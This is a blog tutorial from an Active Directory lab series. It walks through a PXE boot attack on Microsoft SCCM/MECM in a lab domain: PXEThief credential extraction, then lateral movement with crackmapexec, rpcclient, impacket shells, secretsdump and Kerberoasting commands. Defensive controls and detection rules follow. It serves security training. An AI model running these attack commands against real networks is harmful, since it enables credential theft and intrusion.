iT邦幫忙

2025 iThome 鐵人賽

DAY 29
1
Security

資安這條路:AD 攻防實戰演練系列 第 29

AD 攻防實戰演練 Day 29:Microsoft SCCM/MECM PXE 網路啟動攻擊與防禦實戰演練

  • 分享至 

  • xImage
  •  

前言

Microsoft System Center Configuration Manager(SCCM,現稱為 Microsoft Endpoint Configuration Manager,簡稱 MECM)是企業環境中廣泛使用的系統管理平台,用於大規模部署作業系統、應用程式和更新。其中 PXE(Preboot Execution Environment)網路開機功能可讓管理員透過網路遠端部署作業系統到裸機,大幅提升部署效率。

然而,PXE 開機機制若未妥善設定,可能成為攻擊者的入侵管道。攻擊者可以透過偽裝成待部署的裝置,攔截並解密 PXE 開機過程中傳輸的敏感資訊,包括 Network Access Account(NAA)憑證、Task Sequence 中的本機管理員密碼,甚至是用於網域加入的帳戶資訊。這些憑證一旦外洩,攻擊者便能在企業網路中進行橫向移動,存取敏感資料,甚至完全控制整個 SCCM 基礎設施。

本文將透過實際操作演練,完整展示 PXE 攻擊的執行過程、後續利用手法,以及對應的防禦措施。透過了解攻擊者的視角,資安管理人員能更有效地強化 SCCM 環境的安全性。

本次目標

  • 建立 PXE 攻擊測試環境並安裝必要工具(Python、TFTP、Npcap)
  • 使用 PXEThief 工具執行 PXE 網路啟動攻擊
  • 攔截並解密 PXE 開機過程中的敏感資訊
  • 提取 Network Access Account(NAA)憑證
  • 取得 Task Sequence 中硬編碼的本機管理員密碼
  • 使用取得的憑證進行橫向移動測試
  • 枚舉網域資訊並探索 SCCM 共享資源
  • 測試 Kerberoasting 和 AS-REP Roasting 等進階攻擊技術
  • 實作多層防禦措施以強化 SCCM 環境安全
  • 建立事件回應流程與定期安全檢查機制

步驟一:環境準備

1.1 安裝 Python 3.10

前往 Python 官方網站下載並安裝 Python 3.10:

  • 下載位置:https://www.python.org/downloads/
  • 安裝時務必勾選「Add Python to PATH」

實作以 python 3.12 為範例

驗證安裝:

python --version

image

1.2 啟用 TFTP 客戶端

以管理員身份開啟 PowerShell,執行:

Enable-WindowsOptionalFeature -Online -FeatureName "TFTP"

image

驗證 TFTP 已啟用:

Get-WindowsOptionalFeature -Online -FeatureName "TFTP"

確認輸出中 StateEnabled

image

1.3 安裝 Npcap(網路封包擷取驅動程式)

下載並安裝 Npcap:

  • 下載位置:https://npcap.com/#download
  • 安裝時選擇「Install Npcap in WinPcap API-compatible Mode」

image

步驟二:下載與設定 PXEThief

2.1 建立工具目錄

mkdir C:\tools
cd C:\tools

image

2.2 下載 PXEThief

git clone https://github.com/MWR-CyberSec/PXEThief.git
cd PXEThief

2.3 設定 Python 虛擬環境

# 建立虛擬環境
python -m venv venv

# 啟動虛擬環境
.\venv\Scripts\Activate.ps1

如遇到執行政策錯誤,先執行:

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

成功後提示符會顯示 (venv)

image

2.4 安裝相依套件

問題一:Scapy 版本不相容

直接安裝會遇到 get_if_raw_hwaddr 函數不存在的錯誤。

image

解決方案:安裝特定版本的 Scapy

pip install scapy==2.5.0
pip install requests==2.31.0
pip install requests-toolbelt==1.0.0
pip install pywin32
pip install pycryptodome
pip install lxml

image

步驟三:執行 PXE 攻擊

3.1 關閉防火牆(測試期間)

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

image

注意:測試完成後記得重新啟用防火牆。

3.2 執行 PXEThief

python pxethief.py 2 192.168.52.11

image

預期輸出:

[!] Blank password on PXE boot found!
[!] Variables File Location: \SMSTemp\2025.xx.xx...boot.var
[!] BCD File Location: \SMSTemp\2025.xx.xx...boot.bcd

image

3.3 下載 PXE 開機檔案

問題二:TFTP 自動下載失敗

工具會嘗試自動下載,但可能顯示「連線要求失敗」。

解決方案:手動執行 TFTP 下載命令

從輸出中複製 TFTP 命令並執行:

tftp -i 192.168.52.11 GET "\SMSTemp\2025.10.13.05.34.39.0001.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.var" "2025.10.13.05.34.39.0001.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.var"

tftp -i 192.168.52.11 GET "\SMSTemp\2025.10.13.05.34.39.04.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.bcd" "2025.10.13.05.34.39.04.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.bcd"

成功輸出:

順利傳輸: 1 秒內傳送 13370 個位元組,每秒 13370 個位元組
順利傳輸: 1 秒內傳送 12288 個位元組,每秒 12288 個位元組

驗證檔案已下載:

dir *.boot.*

image

3.4 解密媒體變數檔案

問題三:DNS 解析失敗

執行攻擊時會遇到無法解析 mecm.sccm.lab 的錯誤。

解決方案:修改 hosts 檔案

以管理員身份開啟記事本:

notepad C:\Windows\System32\drivers\etc\hosts

在檔案最後加入:

192.168.52.11    mecm.sccm.lab

儲存並關閉。

image

驗證 DNS 解析:

ping mecm.sccm.lab

image

3.5 重新執行完整攻擊

python pxethief.py 2 192.168.52.11

工具會自動:

  1. 下載並解密 media variables 檔案
  2. 提取 PFX 憑證
  3. 向 Management Point 請求策略
  4. 解密並提取憑證資訊

步驟四:取得的憑證資訊

4.1 Network Access Account(網路存取帳戶)

成功執行後會顯示:

[!] Network Access Account Username: 'sccm.lab\sccm-naa'
[!] Network Access Account Password: '123456789'

image

4.2 Task Sequence 中的憑證

In TS Step "Apply Windows Settings":
OSDRegisteredUserName - administrator
OSDLocalAdminPassword - EP+xh7Rk6j90

In TS Step "Apply Network Settings":
OSDJoinAccount - sccm.lab\sccm-naa
OSDJoinPassword - 123456789

image

4.3 匯出的檔案

工具會產生以下檔案:

  1. variables.xml - 包含所有媒體變數
  2. P01_{GUID}_SMSTSMediaPFX.pfx - 用戶端認證憑證
    • 憑證密碼:{91968E9C-F373-4DD3-9D82-1763C3

image

檢視 variables.xml:

notepad variables.xml

image

步驟五:後續利用與橫向移動

5.1 驗證取得的憑證

5.1.1 使用 smbclient 測試連線

# 列出可用的共享資源
smbclient -L //192.168.52.11 -U 'sccm.lab\sccm-naa%123456789'

image

輸出

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        AdminUIContentPayload Disk      AdminUIContentPayload share
        C$              Disk      Default share
        REMINST         Disk      RemoteInstallation
        SCCMContentLib$ Disk      Configuration Manager Content Library
        SMSPKGC$        Disk      SMS Site P01 DP
        SMSPKGE$        Disk      SMS Site P01 DP
        SMS_P01         Disk      SMS Site P01 DP

5.1.2 解讀共享資源清單

從輸出中可以看到以下關鍵共享:

重點目標共享

  • REMINST - WDS/PXE 部署檔案(包含開機映像和腳本)
  • SMSPKGC$, SMSPKGE$ - SCCM 應用程式套件共享
  • SMS_P01 - SCCM 站台檔案
  • SCCMContentLib$ - 內容庫(包含所有部署內容)

測試存取權限:

# 存取 REMINST 共享
smbclient //192.168.52.11/REMINST -U 'sccm.lab\sccm-naa%123456789'

# 在 smb 尋找
smb: \> ls
smb: \> cd SMSTemp
smb: \> ls
smb: \> cd ..
smb: \> cd SMSImages
smb: \> ls
smb: \> exit

image
image

5.1.3 使用 CrackMapExec 驗證

# 驗證憑證有效性
crackmapexec smb 192.168.52.11 -u 'sccm-naa' -p '123456789' -d 'sccm.lab'

# 預期輸出
# SMB    192.168.52.11   445    MECM    [+] sccm.lab\sccm-naa:123456789

image

5.2 使用憑證進行橫向移動

NAA 帳戶通常擁有以下權限:

  • 存取網路共享資源
  • 讀取 SCCM 部署內容
  • 具有基本網域使用者權限

5.2.1 列出所有可存取的共享權限

# 使用 CrackMapExec 枚舉共享
crackmapexec smb 192.168.52.11 -u 'sccm-naa' -p '123456789' -d 'sccm.lab' --shares

# 輸出會顯示每個共享的讀寫權限

image

SMB         192.168.52.11   445    MECM             Share           Permissions     Remark
SMB         192.168.52.11   445    MECM             -----           -----------     ------
SMB         192.168.52.11   445    MECM             ADMIN$                          Remote Admin
SMB         192.168.52.11   445    MECM             AdminUIContentPayload                 AdminUIContentPayload share for AdminUIContent Packages
SMB         192.168.52.11   445    MECM             C$                              Default share
SMB         192.168.52.11   445    MECM             E$                              Default share
SMB         192.168.52.11   445    MECM             EasySetupPayload                 EasySetupPayload share for EasySetup Packages
SMB         192.168.52.11   445    MECM             IPC$            READ            Remote IPC
SMB         192.168.52.11   445    MECM             REMINST         READ            RemoteInstallation
SMB         192.168.52.11   445    MECM             SCCMContentLib$ READ            'Configuration Manager' Content Library for site P01 (10/11/2025)
SMB         192.168.52.11   445    MECM             share_iso       READ            iso share for all domain users
SMB         192.168.52.11   445    MECM             SMSPKGC$        READ            SMS Site P01 DP 10/11/2025
SMB         192.168.52.11   445    MECM             SMSPKGE$        READ            SMS Site P01 DP 10/13/2025
SMB         192.168.52.11   445    MECM             SMSSIG$         READ            SMS Site P01 DP 10/11/2025
SMB         192.168.52.11   445    MECM             SMS_CPSC$                       SMS Compressed Package Storage
SMB         192.168.52.11   445    MECM             SMS_DP$                         ConfigMgr Site Server DP share
SMB         192.168.52.11   445    MECM             SMS_OCM_DATACACHE                 OCM inbox directory
SMB         192.168.52.11   445    MECM             SMS_P01                         SMS Site P01 10/11/25
SMB         192.168.52.11   445    MECM             SMS_SITE                        SMS Site P01 10/11/25
SMB         192.168.52.11   445    MECM             SMS_SUIAgent                    SMS Software Update Installation Agent -- 10/11/25
SMB         192.168.52.11   445    MECM             UpdateServicesPackages READ            A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
SMB         192.168.52.11   445    MECM             WsusContent     READ            A network share to be used by Local Publishing to place published content on this WSUS system.
SMB         192.168.52.11   445    MECM             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.

5.2.2 掛載並探索 SCCM 共享

掛載 REMINST 共享

# 建立掛載點
sudo mkdir -p /mnt/reminst

# 掛載共享
sudo mount -t cifs //192.168.52.11/REMINST /mnt/reminst \
  -o username=sccm-naa,password=123456789,domain=sccm.lab

# 探索內容
ls -la /mnt/reminst/
ls -la /mnt/reminst/SMSTemp/
ls -la /mnt/reminst/SMSImages/

image

5.2.3 搜尋部署腳本中的敏感資訊

搜尋密碼和憑證

# 搜尋包含密碼關鍵字的檔案
grep -ri "password\|credential\|secret\|key" /mnt/reminst/ 2>/dev/null | head -20


# 列出所有腳本檔案
find /mnt/reminst -type f \( -name "*.bat" -o -name "*.ps1" -o -name "*.vbs" -o -name "*.cmd" \)


find /mnt/reminst/SMSTemp -type f
find /mnt/reminst/SMSImages -type f
find /mnt/reminst/SMSBoot -type f -name "*.ini" -o -name "*.cfg"
find /mnt/reminst/Tmp -type f

image

5.2.4 下載敏感檔案到本機

# 建立本機儲存目錄
mkdir -p ~/sccm-loot/{scripts,configs,packages}

# 下載所有 PowerShell 腳本
find /mnt/reminst -name "*.ps1" -exec cp {} ~/sccm-loot/scripts/ \;


# 下載設定檔
find /mnt/reminst -name "*.xml" -o -name "*.ini" -exec cp {} ~/sccm-loot/configs/ \;

# 下載批次檔
find /mnt/reminst -name "*.bat" -o -name "*.cmd" -exec cp {} ~/sccm-loot/scripts/ \;

image

# 使用完畢後記得卸載
sudo umount /mnt/reminst

5.2.5 枚舉網域資訊

使用 rpcclient 枚舉網域

# 連線到 RPC
rpcclient -U 'sccm.lab\sccm-naa%123456789' 192.168.52.10

參數說明:

  • -U:指定使用者帳號和密碼
  • sccm.lab\sccm-naa:網域名稱\使用者帳號
  • 123456789:密碼(以 % 符號分隔)
  • 192.168.52.10:目標網域控制站的 IP 位址

在 rpcclient 提示符下執行:

rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querydominfo
rpcclient $> querydispinfo
rpcclient $> lsaenumsid
rpcclient $> exit

1. enumdomusers - 列舉網域使用者

這個指令會顯示網域中所有的使用者帳號及其 RID(相對識別碼):

image

  • 內建帳號:Administrator、Guest、krbtgt(Kerberos 金鑰發放中心服務帳號)
  • 一般使用者:alice、bob、carol、dave、eve、franck、vagrant
  • SCCM 相關服務帳號
    • sccm-client-push:用於推送用戶端安裝
    • sccm-account-da:SCCM 管理帳號
    • sccm-naa:網路存取帳號(目前使用的帳號)
    • sccm-sql:SQL 服務帳號

2. enumdomgroups - 列舉網域群組

顯示網域中的安全性群組:

image

  • 內建群組:Domain Admins、Enterprise Admins、Schema Admins 等
  • 自訂群組
    • LocalAdmins:本機系統管理員
    • RDPUsers:遠端桌面使用者
    • SCCM-Site-Server:SCCM 站台伺服器
    • SCCM-Admins:SCCM 管理員
    • SCCM-Managed-Device:SCCM 管理的裝置

3. querydominfo - 查詢網域資訊

顯示網域的基本資訊:

image

  • 網域名稱:SCCMLAB
  • 使用者總數:53 個
  • 群組總數:0 個(此處統計的是全域群組,不包含內建群組)
  • 別名總數:20 個(本機群組)
  • 伺服器角色:ROLE_DOMAIN_PDC(主要網域控制站)

4. querydispinfo - 查詢顯示資訊

顯示更詳細的使用者資訊,包含描述欄位:

image

  • bob:local admin(本機系統管理員)
  • carol:low user(低權限使用者)
  • eve:admin on client(用戶端系統管理員)
  • franck:low user(低權限使用者)
  • acb 值:帳號控制位元(0x00000210 代表一般啟用的使用者帳號)

5. lsaenumsid - 列舉 LSA 安全性識別碼

image

列出本機安全性授權(LSA)資料庫中的 SID,包含:

  • S-1-5-32-544:內建的 Administrators 群組
  • S-1-5-32-545:內建的 Users 群組
  • S-1-1-0:Everyone 群組
  • 其他系統服務和內建群組的 SID

使用 enum4linux-ng 完整枚舉

# 安裝 enum4linux-ng(如果尚未安裝)
sudo apt install enum4linux-ng

# 執行完整枚舉
enum4linux-ng -A -u 'sccm-naa' -p '123456789' -w 'sccm.lab' -oY enum4linux_output 192.168.52.10

image

5.2.6 掃描並測試網段內其他主機

掃描同網段的 SMB 主機

# 使用 nmap 掃描 SMB 端口
nmap -p 445 --open 192.168.52.0/24 -oG smb_hosts.txt

# 提取存活主機清單
grep "445/open" smb_hosts.txt | awk '{print $2}' > targets.txt

# 查看找到的主機
cat targets.txt

image
image

批次測試 NAA 憑證

# 使用 CrackMapExec 批次測試
crackmapexec smb targets.txt -u 'sccm-naa' -p '123456789' -d 'sccm.lab'

image


# 或直接掃描整個網段
crackmapexec smb 192.168.52.0/24 -u 'sccm-naa' -p '123456789' -d 'sccm.lab'

image


# 顯示成功認證的主機
crackmapexec smb 192.168.52.0/24 -u 'sccm-naa' -p '123456789' -d 'sccm.lab' | grep "\[+\]"

image

枚舉可存取主機的共享

# 列出所有主機的共享
crackmapexec smb targets.txt -u 'sccm-naa' -p '123456789' -d 'sccm.lab' --shares

# 或對整個網段
crackmapexec smb 192.168.52.0/24 -u 'sccm-naa' -p '123456789' -d 'sccm.lab' --shares

image

5.2.7 使用取得的本機管理員密碼

從 Task Sequence 中取得的本機管理員密碼:EP+xh7Rk6j90

測試本機管理員密碼

# 測試網段內的主機
crackmapexec smb 192.168.52.0/24 -u 'administrator' -p 'EP+xh7Rk6j90' --local-auth

image

# 查看成功的主機
crackmapexec smb 192.168.52.0/24 -u 'administrator' -p 'EP+xh7Rk6j90' --local-auth | grep "Pwn3d"

取得 Shell

# 發現可以登入的主機
impacket-psexec ./administrator:'EP+xh7Rk6j90'@192.168.52.13

# 或使用 wmiexec
impacket-wmiexec ./administrator:'EP+xh7Rk6j90'@192.168.52.13

evil-winrm -i 192.168.52.13 -u administrator -p 'EP+xh7Rk6j90'

image

whoami
hostname
net user
ipconfig

image

5.3 使用 Impacket 工具進行深度利用

5.3.1 嘗試 Kerberoasting 攻擊

Kerberoasting 是一種攻擊技術,用於取得服務帳戶的 Kerberos TGS 票據並離線破解。若環境中沒有設定 SPN 的服務帳戶,此攻擊將無法取得任何雜湊值。

# 請求所有服務主體名稱(SPN)的票據
impacket-GetUserSPNs 'sccm.lab/sccm-naa:123456789' \
  -dc-ip 192.168.52.10 \
  -request \
  -outputfile kerberoast.txt


cat kerberoast.txt

# 使用 hashcat 破解(如果取得雜湊)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

> 破解失敗,沒有在字典檔內

image
image

5.3.2 嘗試 AS-REP Roasting 攻擊

AS-REP Roasting 攻擊針對不需要 Kerberos 預先驗證的帳戶。

# 查詢不需要預先驗證的帳戶
impacket-GetNPUsers 'sccm.lab/sccm-naa:123456789' -dc-ip 192.168.52.10 -request -outputfile asrep_hashes.txt

# 使用 hashcat 破解
# hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

image

5.3.3 嘗試提取憑證(測試權限)

# 嘗試使用 secretsdump 提取憑證
impacket-secretsdump 'sccm.lab/sccm-naa:123456789@192.168.52.11'

# 如果失敗(預期),會顯示權限不足
# 這有助於了解帳戶的權限範圍

image

impacket-secretsdump './administrator:EP+xh7Rk6j90@192.168.52.13'

image

5.4 橫向移動總結

5.4.1 已成功執行的操作

偵察階段

  • 驗證 NAA 帳戶憑證有效性
  • 列出 SCCM 伺服器可存取的共享
  • 枚舉網域使用者和群組資訊
  • 掃描網段內的其他 SMB 主機

資料收集階段

  • 掛載並探索 SCCM 部署共享
  • 下載部署腳本和設定檔
  • 搜尋腳本中的敏感資訊
  • 使用 LDAP 和 BloodHound 收集網域資訊

橫向移動測試

  • 批次測試 NAA 憑證在其他主機的有效性
  • 測試本機管理員密碼(從 Task Sequence 取得)

5.4.2 可能的進階利用路徑

基於取得的資訊,可以進行

  1. 使用本機管理員密碼橫向移動
    • 如果密碼在多台機器上通用,可以控制多個端點
    • 從控制的端點進一步收集資訊
  2. 在部署腳本中發現更多憑證
    • 開發人員可能在腳本中硬編碼密碼
    • 舊的部署套件可能包含過期但仍然有效的憑證
  3. 利用 SCCM 基礎設施
    • 如果取得 SCCM 管理員權限,可以部署惡意軟體到所有客戶端
    • 可以修改任務序列來收集更多憑證
  4. Kerberos 攻擊
    • Kerberoasting:破解服務帳戶密碼
    • AS-REP Roasting:攻擊無需預先驗證的帳戶
    • Golden/Silver Ticket:如果取得 KRBTGT 雜湊
  5. 資料庫存取
    • 如果權限足夠,直接存取 SCCM 資料庫
    • 資料庫中包含所有憑證和設定

5.4.3 攻擊流程圖

PXE 攻擊成功
    ↓
取得 NAA 憑證 (sccm-naa:123456789)
    ├─→ 存取 SCCM 共享
    │   ├─→ 下載部署腳本
    │   ├─→ 發現硬編碼憑證
    │   └─→ 分析設定檔
    │
    ├─→ 枚舉網域
    │   ├─→ 取得使用者列表
    │   ├─→ 取得電腦列表
    │   ├─→ BloodHound 分析
    │   └─→ 找出攻擊路徑
    │
    ├─→ 橫向移動
    │   ├─→ 使用本機管理員密碼 (EP+xh7Rk6j90)
    │   ├─→ 取得多台主機的 Shell
    │   └─→ 提取更多憑證
    │
    └─→ 進階攻擊
        ├─→ Kerberoasting
        ├─→ AS-REP Roasting
        ├─→ NTLM Relay(步驟六)
        └─→ SCCM Admin Takeover(步驟六)

防禦措施

6.1 PXE 開機安全防護

6.1.1 啟用 PXE 密碼保護

設定步驟

  1. 開啟 SCCM 主控台
  2. 進入「軟體程式庫」→「作業系統」→「開機映像」
  3. 右鍵點擊開機映像,選擇「內容」
  4. 切換至「資料來源」標籤
  5. 勾選「為 PXE 啟用此開機映像」
  6. 務必設定「PXE 開機密碼」,使用高強度密碼(至少 12 字元,包含大小寫、數字、特殊符號)

重要性:設定 PXE 密碼後,任何嘗試透過網路開機的裝置都必須輸入正確密碼,可有效阻擋未經授權的 PXE 開機攻擊。

6.1.2 限制 PXE 回應範圍

在發佈點(Distribution Point)設定中:

發佈點內容 → PXE 標籤:
□ 允許此發佈點回應傳入的 PXE 要求
☑ 只對已知的電腦回應 PXE 要求
☑ 要求電腦核准,才能使用 PXE 進行部署

說明

  • 只回應已知電腦:限制只有在 SCCM 資料庫中預先註冊的裝置才能使用 PXE 開機
  • 需要核准:即使是已知電腦,管理員也必須在主控台中手動核准才能執行 PXE 部署

6.1.3 網路層級隔離

實施 VLAN 隔離

建議網路架構:
├─ Management VLAN (VLAN 10)
│  └─ SCCM 伺服器、網域控制站
├─ Deployment VLAN (VLAN 20)
│  └─ 待部署的裸機
└─ Production VLAN (VLAN 30)
   └─ 正式環境用戶端

防火牆規則

封鎖規則:
- 來源:Production VLAN (192.168.52.0/24)
- 目的地:SCCM Server (192.168.52.11)
- 通訊埠:69/UDP (TFTP)、4011/UDP (DHCP Proxy)
- 動作:拒絕

6.2 Network Access Account(NAA)安全強化

6.2.1 停用 NAA(建議作法)

最佳實務:自 SCCM 1806 版本起,可以使用「增強型 HTTP」功能來取代 NAA。

啟用步驟

  1. SCCM 主控台 → 系統管理 → 站台設定 → 站台
  2. 右鍵點擊站台 → 內容
  3. 切換至「用戶端電腦通訊」標籤
  4. 選擇「HTTPS 或 HTTP」
  5. 勾選「將 Configuration Manager 產生的憑證用於 HTTP 站台系統」

優點

  • 完全移除對 NAA 的依賴
  • 用戶端使用自己的電腦帳戶或 Azure AD 權杖進行驗證
  • 大幅降低憑證外洩風險

6.2.2 NAA 權限最小化(若必須使用)

權限設定檢查清單

  • 只授予「讀取」權限到必要的發佈點共享
  • 移除「寫入」、「修改」、「完全控制」權限
  • ✓ 不應是任何網域群組的成員(如 Domain Users 以外)
  • ✓ 不應具有互動式登入權限
  • ✓ 不應具有遠端桌面存取權限

PowerShell 驗證腳本

# 檢查 NAA 帳戶的群組成員資格
$naaAccount = "sccm.lab\sccm-naa"
Get-ADUser -Identity "sccm-naa" -Properties MemberOf | 
    Select-Object -ExpandProperty MemberOf

# 應該只看到 "Domain Users" 或類似的最小權限群組

6.2.3 NAA 密碼管理

強密碼政策

  • 最小長度:20 字元
  • 複雜度:大小寫字母、數字、特殊符號
  • 定期更換:每 90 天
  • 使用密碼管理系統(如 CyberArk、HashiCorp Vault)

6.3 Task Sequence 密碼保護

6.3.1 避免在 Task Sequence 中硬編碼密碼

不良做法

<!-- 不要這樣做 -->
<step name="Apply Windows Settings">
    <OSDLocalAdminPassword>EP+xh7Rk6j90</OSDLocalAdminPassword>
</step>

建議做法一:使用隨機密碼 + LAPS

# 在 Task Sequence 中使用腳本產生隨機密碼
$randomPassword = [System.Web.Security.Membership]::GeneratePassword(16, 4)
Set-OSDVariable -Name "OSDLocalAdminPassword" -Value $randomPassword

# 部署後立即安裝並啟用 LAPS

建議做法二:使用變數集合並加密

  1. 建立「Task Sequence 變數集合」
  2. 在變數中儲存密碼(SCCM 會加密)
  3. 限制存取此變數集合的權限
  4. 定期輪替密碼

6.3.2 Task Sequence 存取控制

設定權限

SCCM 主控台 → 軟體程式庫 → 作業系統 → 工作順序
右鍵點擊 Task Sequence → 內容 → 安全性標籤:

允許:
- SCCM-Admins:完全控制
- SCCM-Operators:讀取、執行

拒絕:
- Domain Users:所有權限
- Authenticated Users:讀取

6.4 SCCM 共享權限管理

6.4.1 最小權限原則

REMINST 共享建議權限

共享權限:
- SYSTEM:完全控制
- SCCM Site Server Computer Account:完全控制
- SCCM Network Access Account:讀取(如必要)

檔案系統權限(NTFS):
- Administrators:完全控制
- SYSTEM:完全控制
- SCCM Site Server Computer Account:修改
- NAA:讀取與執行(僅限必要子資料夾)

PowerShell 設定範例

# 移除 "Everyone" 群組
$shareName = "REMINST"
$share = Get-SmbShare -Name $shareName
Grant-SmbShareAccess -Name $shareName -AccountName "SCCM.LAB\SCCM-NAA" -AccessRight Read -Force
Revoke-SmbShareAccess -Name $shareName -AccountName "Everyone" -Force

# 驗證權限
Get-SmbShareAccess -Name $shareName

6.4.2 啟用存取記錄

檔案系統稽核

# 對 SCCM 共享啟用詳細稽核
$path = "E:\RemoteInstall"
$acl = Get-Acl $path

# 設定稽核規則:記錄所有存取失敗
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "FullControl",
    "ContainerInherit,ObjectInherit",
    "None",
    "Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl $path $acl

# 啟用 Windows 稽核原則
auditpol /set /subcategory:"File Share" /success:enable /failure:enable

6.5 橫向移動防禦

6.5.1 LAPS(本機管理員密碼解決方案)部署

LAPS 優點

  • 每台電腦使用唯一的本機管理員密碼
  • 密碼定期自動輪替
  • 密碼儲存在 Active Directory 中並加密
  • 只有授權的管理員可以讀取密碼

部署步驟

# 1. 安裝 LAPS(在網域控制站)
# 下載:https://www.microsoft.com/en-us/download/details.aspx?id=46899

# 2. 擴充 AD 架構
Import-Module AdmPwd.PS
Update-AdmPwdADSchema

# 3. 設定權限
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=sccm,DC=lab"

# 4. 設定密碼原則
Set-AdmPwdPasswordPolicy -OrgUnit "OU=Workstations,DC=sccm,DC=lab" `
    -PasswordLength 16 `
    -PasswordComplexity 4 `
    -PasswordAge 30

6.5.2 限制橫向移動的網路控制

實施 Windows Defender Firewall 規則

# 封鎖工作站之間的 SMB 連線(只允許伺服器)
New-NetFirewallRule -DisplayName "Block Workstation-to-Workstation SMB" `
    -Direction Inbound `
    -Protocol TCP `
    -LocalPort 445 `
    -RemoteAddress 192.168.52.100-192.168.52.200 `
    -Action Block `
    -Profile Domain

實施 Protected Users 群組

# 將高權限帳戶加入 Protected Users 群組
Add-ADGroupMember -Identity "Protected Users" -Members "sccm-account-da"

# Protected Users 的保護機制:
# - 不能使用 NTLM 驗證
# - Kerberos TGT 有效期限縮短為 4 小時
# - 無法委派(不受限或受限)

6.6 偵測與監控

6.6.1 部署 EDR 解決方案

建議工具

  • Microsoft Defender for Endpoint
  • CrowdStrike Falcon
  • SentinelOne

關鍵偵測規則

偵測場景:
- 異常的 TFTP 連線活動
- 大量 SMB 枚舉行為
- PXEThief 工具特徵(Scapy 網路封包操作)
- 異常的 rpcclient 或 Impacket 工具使用
- 短時間內多次 SMB 認證失敗
- 非上班時間的 PXE 開機請求

6.6.2 SIEM 整合與告警

Windows 事件記錄監控

關鍵事件 ID:
- 4624:帳戶成功登入(監控類型 3 - 網路登入)
- 4625:帳戶登入失敗(暴力破解跡象)
- 4768/4769:Kerberos TGT/TGS 請求(Kerberoasting)
- 5140:已存取網路共享物件
- 5145:已檢查共享物件(枚舉行為)

SIEM 查詢範例(Splunk)

# 偵測 Kerberoasting 攻擊
index=windows EventCode=4769 
| where Ticket_Encryption_Type="0x17" 
| stats count by src_ip, Account_Name
| where count > 10

# 偵測 SMB 枚舉
index=windows EventCode=5140 OR EventCode=5145
| stats dc(Share_Name) as unique_shares by src_ip
| where unique_shares > 20

6.6.3 網路流量分析

部署 IDS/IPS

Suricata/Snort 規則範例:

# 偵測 PXE 開機請求
alert udp any any -> any 67 (msg:"Possible PXE Boot Request"; \
  content:"|00|"; offset:236; depth:1; \
  sid:1000001;)

# 偵測大量 TFTP GET 請求
alert udp any any -> any 69 (msg:"Multiple TFTP GET requests"; \
  threshold: type both, track by_src, count 10, seconds 60; \
  sid:1000002;)

6.7 事件回應計畫

懷疑 PXE 攻擊時的處理流程

1. 立即行動(0-15 分鐘)

# 暫時停用 PXE 功能
Stop-Service WDSServer

2. 隔離與調查(15-60 分鐘)

# 識別可疑的 PXE 開機請求
Get-WinEvent -LogName "Microsoft-Windows-Deployment-Services-Diagnostics/Operational" |
    Where-Object { $_.TimeCreated -gt (Get-Date).AddHours(-1) } |
    Select-Object TimeCreated, Message

# 檢查異常的 TFTP 連線
Get-WinEvent -LogName "Microsoft-Windows-TFTP-Service/Operational" |
    Where-Object { $_.TimeCreated -gt (Get-Date).AddHours(-1) }

3. 修復與強化(1-4 小時)

  • 啟用 PXE 密碼保護
  • 更換 NAA 密碼
  • 檢視並修正共享權限
  • 更新防火牆規則

4. 後續追蹤(1-7 天)

  • 分析完整攻擊路徑
  • 識別所有受影響的系統
  • 撰寫事件報告
  • 實施額外的防禦措施

6.8 定期安全檢查清單

每週檢查

  • [ ] 檢視 SCCM 事件記錄檔中的異常活動
  • [ ] 監控 PXE 開機嘗試次數
  • [ ] 檢查 NAA 帳戶的登入記錄

每月檢查

  • [ ] 稽核 SCCM 共享權限
  • [ ] 更新 NAA 密碼(如仍在使用)
  • [ ] 檢視 Task Sequence 內容是否包含敏感資訊
  • [ ] 驗證 LAPS 運作狀態

每季檢查

  • [ ] 執行 SCCM 安全性基準掃描
  • [ ] 進行紅隊演練(PXE 攻擊模擬)
  • [ ] 檢視並更新 IDS/IPS 規則
  • [ ] 稽核所有 SCCM 管理員權限

每年檢查

  • [ ] 全面滲透測試
  • [ ] 架構安全性審查
  • [ ] 災難復原計畫演練

6.9 總結

PXE 開機攻擊對 SCCM 環境構成嚴重威脅,但透過多層防禦策略可以有效降低風險。

最關鍵的三項防禦措施

  1. 啟用 PXE 密碼保護並限制回應範圍
  2. 移除 NAA 依賴(改用增強型 HTTP)或嚴格限制權限
  3. 部署 LAPS 消除通用本機管理員密碼

縱深防禦架構

網路隔離(VLAN、防火牆)
    ↓
身份驗證強化(PXE 密碼、增強型 HTTP)
    ↓
權限最小化(NAA 限縮、LAPS)
    ↓
偵測與回應(EDR、SIEM、IDS/IPS)

安全防護是一個持續的過程,需要技術控制、流程管理和人員意識三者的結合。只有透過全面的安全策略,才能確保 SCCM 環境免受類似攻擊的威脅。

小試身手

第一題

在步驟五中,NAA(Network Access Account)帳戶的主要用途為何?

A. 用於安裝 SCCM 用戶端到目標電腦
B. 用於存取 SCCM 部署內容的網路共享資源
C. 用於管理 SCCM 主控台
D. 用於執行遠端程式碼

答案:B

解析:Network Access Account 是 SCCM 中專門用來讓用戶端電腦存取發佈點(Distribution Point)上部署內容的帳戶。當用戶端電腦本身的電腦帳戶權限不足以存取內容時,就會使用 NAA 帳戶來下載應用程式、套件或作業系統映像。這個帳戶通常具有讀取 SCCM 相關共享(如 SMSPKGC$、REMINST)的權限。

第二題

使用 crackmapexec smb 指令測試憑證時,輸出結果中出現「Pwn3d!」標記代表什麼意義?

A. 帳戶密碼錯誤
B. 連線逾時
